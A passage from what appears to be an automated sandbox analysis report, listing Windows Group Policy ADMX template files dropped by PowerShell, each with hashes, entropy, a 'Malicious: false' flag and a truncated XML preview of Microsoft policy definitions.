SHA-512:	C65D3BC01406054D9932E2C840980978A5BE4BED7BF8DD60A063304017F0D8B8618D7E7688B365110976822896256CB98ED6CE40C2B6032E0D06637D73C8E283
Malicious:	false
Preview:	..'........SPRP................05..............................................................eirT%...`...0...;.X.X.C.;...X.X.X.X.X.X.X.X.X.X.X.`.e.X.X.j.X.o.X.X.w...........X.X.X.X...X.....a.....................X.X.X.K...........X...............................'.-.5.=.E.K.S.[.c.i.p.x.'......................................................."..2...X.X.:.@.E.Y.L...X.T.\.....X.a.e.X.X.m.X.X.u.X.\...X.\|.X...z.....z.X.......X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.....X.X...........X.X.......X.X...X.......................................................................................X.X.X.X...X.X.\...X.....X.[.....%.+.....o...e...X.....X...X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.o...X.....X.X.X.X...X.X.X.X.X.X.X.X.".X.X............:./.....7.e.?.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.........................................................C.X.X...X.X.X.X.X.X...K.3.X...X...X.X.X...S.X.X.......e...X.Z._.X.X.?...X.X.X...X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.

C:\Users\user\AppData\Local\Temp\file\Resource\Scripts.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	6991
Entropy (8bit):	5.124374484762938
Encrypted:	false
SSDEEP:	96:QeD/mDtK4ovKnKn5KBwxV16afdv+IUaMNthaE2haJdIaYNQSaFdCGaPdvapNgsl+:vYLMlxVP1+I/aALATPKE9lVE+2XcK
MD5:	DD51DD947D4BD1B4D419718FB58BA451
SHA1:	04C1C20FADE98332B3867B87585E72E26AC3A7B1
SHA-256:	CACD9385DBAC4D5BF53C76BB7E0C8A6934E8626043A009B360A3DB8BEA156F36
SHA-512:	403E6F6024421892C5D6A4489A097B3A86FF321625FF1A65F97BFCFDF988D105F7FF476156FCCD76966B3C5C38210531B43229C49824022AF596113381DC3957
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="scripts" namespace="Microsoft.Policies.Scripts" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Scripts" displayName="$(string.Scripts)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="MaxGPOScriptWaitPolicy" class="Machine" displayName="$(string.MaxGPOScriptWaitPolicy)" explainText="$(string.MaxGPOScriptWaitPolicy_Help)" presentation="$(presentation.MaxGPOScriptWaitPolicy)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System">..

C:\Users\user\AppData\Local\Temp\file\Resource\Securitycenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1370
Entropy (8bit):	5.128312261242424
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKti1W6flR0s6fE3+dK9lKs1sCcpKjcpsk4puk4qvk4PwGV7:3geDw08gmDt17flRofHKnKs17Q56xpu4
MD5:	621CD7B462CBCCF7FF12712B23D8D1B5
SHA1:	E160DDBF741668D55F49F09147E09BA5F8817CF1
SHA-256:	01F1F585824AA0BB9919DD0496AC2D3CAB9720A89C8E08C4E9BA3400999C3948
SHA-512:	E9D7FD115532572941C1F1E448762F46BB0BA9E37E96C20C141EC23A1301F630527EF089F99C842C06CAD0F246B58AF94AA78BC8A6215EA71B1B7E9DD027C83D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="securitycenter" namespace="Microsoft.Policies.SecurityCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SecurityCenter" displayName="$(string.SecurityCenter)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="SecurityCenter_SecurityCenterInDomain" class="Machine" displayName="$(string.SecurityCenter_SecurityCenterInDomain)" explainText="$(string.SecurityCenter_SecurityCenterInDomain_Help)" key="Software\Policies\Microsoft\Windo

C:\Users\user\AppData\Local\Temp\file\Resource\Sensors.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	5.042186898453658
Encrypted:	false
SSDEEP:	96:QeD/mDtVdovKnK95lFf4d2Ff4dpF74dyF74dOF44dvF44q:vYlMtxkHH5s
MD5:	45A19DB51A4AF8E6FA2D5B09C9219910
SHA1:	6661B89058EA63D5555786AF4D9787C2140943E7
SHA-256:	AFA8850C0CBC9033760DDB4F15E0E1D9CA58C55BEE2ABAF9E51F7286E57CA3C3
SHA-512:	F7DA15EC2BBDF43F2E6659DD285ABAAB8080798C5179613811E8D24736E95A7D601A6002A06CB31DD16803722FD509FA3A41B5A2C3B204E40C3B4593CBC55A58
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sensors" namespace="Microsoft.Policies.Sensors" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="LocationAndSensors" displayName="$(string.LocationAndSensors)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableSensors_1" class="User" displayName="$(string.DisableSensors)" explainText="$(string.DisableSensors_Explain)" key="Software\Policies\Microsoft\Windows\LocationAndSensors" valueName="DisableSensors">.. <parentCategory

C:\Users\user\AppData\Local\Temp\file\Resource\ServerManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (332), with CRLF line terminators
Category:	dropped
Size (bytes):	3813
Entropy (8bit):	5.134801096441505
Encrypted:	false
SSDEEP:	96:cD3DtoSoG5/yKnK7547IFdP7TGwrap1q1IDdUs6oq:snKcIPtrapwIBq
MD5:	A8FE70D5D9E444FD04B031CC15D0F1FE
SHA1:	2143CE8703819632BF7C00820DE163181812A83A
SHA-256:	6EB8D580DA98AB0DA63122855556D8A2CD5A9853CE27B15CC2BE257CC6A50316
SHA-512:	FB04457A4FEAE9A61DC715A545386C8419F21078CF7A3A514BAF247BD08071444CF8C75BC10AB6D8B67506A5EBF881EA3AD0D09FFE9EA817FECE616B9D4245E2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="servermanager" namespace="Microsoft.Policies.ServerManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Microsoft Windows Server 2008 and Windows Server 2008 R2 only -->.. <definition name="SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only" displayName="$(string.SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only)">.. <or>.. <reference ref="products:WindowsServer2008R2"/>.. <refe

C:\Users\user\AppData\Local\Temp\file\Resource\Servicing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	4.995592653491952
Encrypted:	false
SSDEEP:	48:3s+D/8lDt+fsofT5YgWV9gwAO/9iVMVROveoO8C:c+D0Dt+0o75xWswAO/9iV8REeozC
MD5:	984FE19D47EDAE7D758158DB7EA84E6B
SHA1:	350A1931E4E93DF5AA8C5F4D74321AB798F70EC1
SHA-256:	F65C32184651FFD33325B753C916146A95FACADFCB941F9961CF1D33088CD359
SHA-512:	395DF3F848733D4AD7B35538DCD2EF5C3CBBF126674A80DC4A222D39B07EF5BBDF16CD263B2438DE4D8D3530D32595B210AF2D439DE72F730A48A6BD8A96745B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitions revision="1.0" schemaVersion="1.0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="servicing" namespace="Microsoft.Policies.Servicing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy .. name="Servicing" .. class="Machine" .. displayName="$(string.CloudFulfillmentGPO)" .. explainText="$(string.CloudFulfillmentGPOExplanation)" .. presentation="$(presentation.CloudFulfillmentGPO)" .. key="Software\Microsoft\Windows\CurrentVersion\Policies\Servicing">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Windows8" />.. <elements>....

C:\Users\user\AppData\Local\Temp\file\Resource\SettingSync.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (367), with CRLF line terminators
Category:	dropped
Size (bytes):	9716
Entropy (8bit):	4.87678388269078
Encrypted:	false
SSDEEP:	192:oYJIc5idZOoLsdDO4n4dPOeh6dROidpddOjiNdMOXGRdQOevwdHOXTnpdPOC:L5idZOoLsdDO4n4dPOeh6dROidpddOjc
MD5:	404BA8741BD37C8C5D57047C933B6685
SHA1:	A4190DEEF05C64DA3F5518D5F2E16888805E678B
SHA-256:	6A3E048BF249860CA371EDCCBC01485F3BB8290C77AD9B05060C5142C0772596
SHA-512:	CB9B2E09BB56ED3B710EF4A3FD9E1F413B9081999383AF63B63D52972EE81559DF8168189A572E2AF86736319BEEFC114A2BB03DEEF0CCE17875E6BDD1DD08B8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="settingsync" namespace="Microsoft.Policies.SettingSync" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SettingSync" displayName="$(string.SettingSyncCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.... <policy name="DisableSettingSync" presentation="$(presentation.DisableSettingSyncUserOverride)" class="Machine" displayName="$(string.DisableSettingSync)" explainText="$(string.DisableSettingSync_Help)" key="Software\Policies\Microsoft\Wi

C:\Users\user\AppData\Local\Temp\file\Resource\Setup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1588
Entropy (8bit):	5.156673818885201
Encrypted:	false
SSDEEP:	48:3geDw08gmDtPfkofT5W5KcoQ9Awc61juCcoQ9Awh9qC:QeD/mDtP8o75kKccwc61CCccwh9qC
MD5:	1160FA69FE859492E62B5B5FFEE9C621
SHA1:	2BBE84B1C84DF6987474C9C7B8CEAFCC1D76D9D0
SHA-256:	6A38E79898843B79A970341F7B510A2B2C09BB4B0D2C1A24703B41C704B630E1
SHA-512:	5DC30D67B16EE71408FE2A9D96CBCF9F77498F0848700F18265B859CF14E0CF673C66B359E42691080FE66C925F85C496D6681949808EC32FFA1ED40D6EA17AD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="setup" namespace="Microsoft.Policies.WindowsSetup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="ServicePackSourcePath" class="Machine" displayName="$(string.ServicePackSourcePath)" explainText="$(string.ServicePackSourcePath_Help)" presentation="$(presentation.ServicePackSourcePath)" key="Software\Policies\Microsoft\Windows NT\Setup">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <elements>.. <text id="ServicePackSourcePathBox" valueName=

C:\Users\user\AppData\Local\Temp\file\Resource\SharedFolders.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	5.160325025109388
Encrypted:	false
SSDEEP:	48:3geDw08gmDtgfE3ofT59vO16pmdYfJEvOIa6pmq:QeD/mDtgCo759GbdZG3q
MD5:	60C6248383095E5E43B7CA8DB9B166C5
SHA1:	15CD6BEEB6114DE63AB9603B08A56E96C672EF4A
SHA-256:	DA65561B8F9C05429B731357743E731098841347304A20228BC47D9AFACE000F
SHA-512:	DC99B34C90187ED545F2330DA7188CB0F3702DE647D0E2D8F186A87543FADB0B7CAD5681E20163511CA649B8890122196E9EF1289FEB1064AB123CD7EACE7CE6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sharedfolders" namespace="Microsoft.Policies.SharedFolders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="PublishDfsRoots" class="User" displayName="$(string.PublishDfsRoots)" explainText="$(string.PublishDfsRoots_Help)" key="Software\Policies\Microsoft\Windows NT\SharedFolders" valueName="PublishDfsRoots">.. <parentCategory ref="windows:SharedFolders" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <enabledValue>.. <decimal value="1" />.. </enabledValue>.. <disabledVal

C:\Users\user\AppData\Local\Temp\file\Resource\Sharing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1985
Entropy (8bit):	5.15424155732406
Encrypted:	false
SSDEEP:	48:3geDw08gmDtWfgofHKnKlGKBdQ5DIfRhdypOg+mkiT/Bq:QeD/mDtWoovKnK8KBy5DI3dyIg+mkitq
MD5:	CADD54B0E8DE98B975FB93B15080F256
SHA1:	A5F6BCB61B29738469B08FFE3E1BDEB2E49BC16A
SHA-256:	43B32411E5CE7A42CBE376D3DE30320229244250C7E61892CCABA49C69659DB2
SHA-512:	15395AC6B537F65292AAD26C9408B2BD3532A2B5CB24681718AEA032AC72A5B958A0E8A4102544006CCAB53D975FB206CBA502FA26DF4688008AD966FCDA6FEB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sharing" namespace="Microsoft.Policies.NetworkSharing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Sharing" displayName="$(string.Sharing)" explainText="$(string.Sharing_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="HomeGroup" displayName="$(string.HomeGroup)" explainText="$(string.HomeGroup_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NoInplaceSharing" class="

C:\Users\user\AppData\Local\Temp\file\Resource\Shell-CommandPrompt-RegEditTools.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3466
Entropy (8bit):	5.003195947960771
Encrypted:	false
SSDEEP:	96:QeD/mDt0+o75SGc2wNR1uHwiB2DI0uwlOM1fWINwZOCC:vYVQmNRBiBtklx9KZxC
MD5:	5590E4B921B3C0275E323507A120BD19
SHA1:	3A87EB7046F58A7F897077460D43D32ECF169C0E
SHA-256:	0AF770AA8B0F70F6CF67976AC60E34F41BFCCF79C1CDEE9C9C590FFDB6829E50
SHA-512:	F9F937C79571241A815EDAF544DBF8084635EE0A50974AA757DB3FED150C8F79B6FE8060F3ED5E6172204B6A1D0639BBCF14273D67D77CDD7C90F232FA73760E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="shell-commandprompt-regedittools" namespace="Microsoft.Policies.WindowsTools" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisableCMD" class="User" displayName="$(string.DisableCMD)" explainText="$(string.DisableCMD_Help)" presentation="$(presentation.DisableCMD)" key="Software\Policies\Microsoft\Windows\System">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. <elements>.. <enum id="DisableCMDScripts" valueName="DisableCMD">.. <item di

C:\Users\user\AppData\Local\Temp\file\Resource\ShellWelcomeCenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	5.145088871018467
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtiS0W6f30s6fE3+ZKjcp87p9wV18+SsT+2hJJo:3geDw08gmDtS07f3ofT5HIPs/q
MD5:	E0F3C806E0474512F077A7A55BF67D7F
SHA1:	0F855F4F1FF9CAFB36E951F17DB6ABA5D86D9B0A
SHA-256:	99AD0467FBCB035D3F994AA7A770386350D327E416A846C2091C240278AAAEF3
SHA-512:	EFBE27799225C33C72086AB9A1B62A4D40CFDB1AE1ED43E02BD1C86FB2438CBCFAC0A7A1C233F5233B94AE2ACBC740EEAF41D07AF2BFCA6AC102E021B96C92A6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="shellwelcomecenter" namespace="Microsoft.Policies.WelcomeCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="RestrictWelcomeCenter" class="User" displayName="$(string.RestrictWelcomeCenter)" explainText="$(string.RestrictWelcomeCenter_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="RestrictWelcomeCenter">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVistaOnly" />.. <enabledValue>.. <decimal value="1"

C:\Users\user\AppData\Local\Temp\file\Resource\Sidebar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4000
Entropy (8bit):	5.100163491310941
Encrypted:	false
SSDEEP:	96:QeD/mDtOZCovKnKP5YcedPcedUXcYpdHXcYpdwcmdTcmq:vYCCy91YZOzf
MD5:	A16B513C1869646FB920422F2BC8F1BA
SHA1:	89E4763D66991DEF3EB5310956CC74ECCC577D85
SHA-256:	25A778CD9651B3E02A96B4478C6698628162A123BF238DF52DAE6C130EB1B33B
SHA-512:	AF9FB8389DAB2384BDC6D98D670742BCBEC9EDA3E7D9E079CCDB4961BAAAB8F32EE50BDDB63B8FB2127C770A0AB3E028F8A6C7086BC2F1A6A8317F77BAC830D5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sidebar" namespace="Microsoft.Policies.SideBar" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Sidebar" displayName="$(string.Sidebar)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffSidebar_1" class="User" displayName="$(string.TurnOffSidebar)" explainText="$(string.TurnOffSidebar_Explain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Windows\Sidebar" valueName="TurnOffSidebar">.. <parentCategory ref="Side

C:\Users\user\AppData\Local\Temp\file\Resource\SkyDrive.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (330), with CRLF line terminators
Category:	dropped
Size (bytes):	2808
Entropy (8bit):	5.078552439519054
Encrypted:	false
SSDEEP:	48:cy08gmDtVfm+ofHKnKjf2Q55weTmNweWZwe0ZuquWd5weDweoweBwerZuwwuo2vR:EmDtVrovKnKb5ai3x6tZ5daheX2/wulR
MD5:	A94642BE85E83BD11FE2EDC8EE57A052
SHA1:	CCE07BCC7DBE8BFEF8F9397C8B6E76B96DDC9AA9
SHA-256:	DA3489644A56924340C30BA06DCA8D02AC68A772C1971EBEEDFB07767EA6F1EE
SHA-512:	CFE4F318B08C3924C51EB679541B3A8D8D36CB47FFB5EBD9D979D254C1CBA8782DFD8757F748944967392608DCC1775FDF82B9324B03481314B1F661A085B733
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="skydrive" namespace="Microsoft.Policies.Skydrive" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Skydrive" displayName="$(string.SkydriveSettingCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PreventSkydriveFileSync" class="Machine" displayName="$(string.PreventSkydriveFileSync)" explainText="$(string.PreventSkydriveFileSync_help)" key="Software\Policies\Microsoft\Windows\Skydrive" valueName="DisableFileSync">.. <parentCategory ref="Skydrive" />.. <suppor

C:\Users\user\AppData\Local\Temp\file\Resource\Smartcard.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	9691
Entropy (8bit):	5.064726868132403
Encrypted:	false
SSDEEP:	192:vYhGTLlllql5mlzlQlU6AL3pup/qcl1lTlOZsulxL:/Tc5g5KU6AL3p8/q+DZOZsYxL
MD5:	E379DFA6BF0BE1AB67C44BBA7D07C484
SHA1:	476D43D414F7C8695F4A501A5CC58C786FD13888
SHA-256:	FEFB5E3AC91876CBAB0826353F0CC3F7B83781F560CA1C120ACADCED0219500A
SHA-512:	ED67988B2C1782AC0675DC4250422DF025FB31A994FBA8CF138FE5C8B6D726CE8CD5DE294917440F6614217134D93E4EBA215A8FE66337030E9E4C0EA0D173CC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="smartcard" namespace="Microsoft.Policies.SmartCard" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SmartCard" displayName="$(string.SmartCard)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowCertificatesWithNoEKU" class="Machine" displayName="$(string.AllowCertificatesWithNoEKU)" explainText="$(string.AllowCertificatesWithNoEKU_help)" key="SOFTWARE\Policies\Microsoft\Windows\SmartCardCredentialProvider" valueName="AllowCerti

C:\Users\user\AppData\Local\Temp\file\Resource\Snis.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2057
Entropy (8bit):	5.116480129056148
Encrypted:	false
SSDEEP:	48:3MDw080DtvfZof+5f6KnKzATHPAVnuAKddTNSAVBuAKdGww5iC:cD3DtvBoG5CKnKzkvAVuASdIAVkASGwO
MD5:	D3B2233D4B190F038C0298EA1FB59DB3
SHA1:	9B33F4DD14086D977C2D4D7FE6DBC22491D53983
SHA-256:	904B6B95BD2C3149DFA51FC85F293D775D12D7606B75C957965DF16178311193
SHA-512:	9A6A8B080B915A7E6638807EE4013A2AE35CEE9422E08CFF6344525E8C1B82F768A41D8C1744C70EBA9B71C23DF635DDB001FFAA80F79FD94F265BAB86AA844F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="snis" namespace="Microsoft.Policies.SNIS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <categories>.. <category name="Snis" displayName="$(string.Snis)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. .. <policies>.. <policy name="Snis_LoggingLevel" class="Machine" displayName="$(string.Snis_LoggingLevel)" explainText="$(string.Snis_LoggingLevel_Help)" key="Software\Policies\Microsoft\Windows\

C:\Users\user\AppData\Local\Temp\file\Resource\Snmp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2307
Entropy (8bit):	5.172321477988197
Encrypted:	false
SSDEEP:	48:3geDw08gmDtyfyofHKnK8p5w0QH0AwX1D+H0Aw/19cYWGU0AwLC:QeD/mDtyaovKnKs5bAwX1yw/1SYVswLC
MD5:	0865719D14DD368E545E2170CFFA737F
